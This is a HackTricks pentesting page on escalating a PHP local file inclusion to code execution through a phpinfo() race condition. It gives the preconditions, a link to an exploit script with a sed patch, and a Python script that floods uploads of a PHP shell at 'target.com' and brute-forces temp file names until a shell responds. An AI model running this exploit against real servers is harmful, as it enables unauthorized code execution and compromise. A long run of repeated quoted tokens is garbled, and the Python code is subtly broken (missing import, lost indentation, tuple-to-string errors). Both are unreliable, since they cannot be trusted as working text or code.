hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
2024-02-10 17:52:19 +00:00

7.9 KiB

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

To exploit this vulnerability you need: A LFI vulnerability, a page where phpinfo() is displayed, "file_uploads = on" and the server has to be able to write in the "/tmp" directory.

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

You need to fix the exploit (change => for =>). To do so you can do:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

payload-nIv'a' 'e' exploit-Daq REQ1-nIv'a' 'e' phpinfo-Daq (php-rev-shell 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e' 'a' 'e

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: